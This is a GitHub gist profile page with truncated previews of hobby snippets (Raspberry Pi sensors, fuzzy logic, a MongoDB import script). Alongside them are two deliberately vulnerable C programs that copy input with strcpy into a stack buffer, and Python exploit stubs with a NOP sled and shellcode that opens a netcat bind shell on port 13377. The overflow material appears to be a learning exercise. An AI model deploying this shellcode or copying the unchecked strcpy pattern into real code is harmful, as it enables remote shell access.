Skip to content

Instantly share code, notes, and snippets.

View mvidalgarcia's full-sized avatar
🐛
Feeding bugs

Marco Vidal García mvidalgarcia

🐛
Feeding bugs
View GitHub Profile
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
buzzer_pin = 24
GPIO.setup(buzzer_pin, GPIO.OUT)
def buzz():
GPIO.output(buzzer_pin, True)
time.sleep(0.0001)
from random import uniform, randint
import time
import json
__author__ = 'mvidalgarcia'
current_milli_time = lambda: int(round(time.time() * 1000))
cat_description = [
{'category_id': 2, 'description': "OMG I lost my pocket. Somebody robbed me"},
import os
import time
os.system('modprobe w1-gpio')
os.system('modprobe w1_therm')
temp_sensor = '/sys/bus/w1/devices/28-0215635d39ff/w1_slave'
def temp_raw():
f = open(temp_sensor, 'r')
Line: 4, column: 1, token: 261, semantic value: int
Line: 4, column: 5, token: 274, semantic value: i
Line: 4, column: 6, token: 44, semantic value: ,
Line: 4, column: 7, token: 274, semantic value: j
Line: 4, column: 8, token: 59, semantic value: ;
Line: 6, column: 1, token: 261, semantic value: int
Line: 6, column: 5, token: 274, semantic value: f
Line: 6, column: 6, token: 40, semantic value: (
Line: 6, column: 7, token: 261, semantic value: int
Line: 6, column: 11, token: 274, semantic value: a
@mvidalgarcia
mvidalgarcia / temp_hum_fuzzifier_example.py
Created November 13, 2015 14:13
Example of fuzzy logic with skfuzzy library
import numpy as np
import skfuzzy as fuzz
CURRENT_TEMP = 15
CURRENT_HUM = 50
x_temp = np.arange(-20, 41, 1)
x_hum = np.arange(0, 101, 1)
x_sys = np.arange(12, 36, 1)
#include <stdio.h>
#include <string.h>
void func(char *str)
{
char buffer[100]; /* adjust size of buffer to suit */
strcpy (buffer,str);
}
void main (int argc, char *argv[])
{
func(argv[1]);
nopsled = '\x90' * 32
# 64 bytes shellcode
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' +
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' +
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' +
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' +
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' +
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' +
'\xb0\x0b\xcd\x80')
padding = 'A' * (112 - 32 - 64)
#include <stdio.h>
#include <string.h>
void func(char *str)
{
char buffer[132]; /* adjust size of buffer to suit */
strcpy (buffer,str);
}
void main (int argc, char *argv[])
{
func(argv[1]);
nopsled = '\x90' * 64
# 64 bytes shellcode
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' +
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' +
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' +
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' +
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' +
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' +
'\xb0\x0b\xcd\x80')
padding = 'A' * (144 - 64 - 64)
@mvidalgarcia
mvidalgarcia / import_artists.sh
Last active March 1, 2016 15:28
Imports all artists/artworks from Tate collection (https://github.com/tategallery/collection) dataset to a mongodb database.
# First place in the artists directory
cd collection-master/artists
find * -type f | while read col; do
mongoimport -d tate -c artists --file $col;
done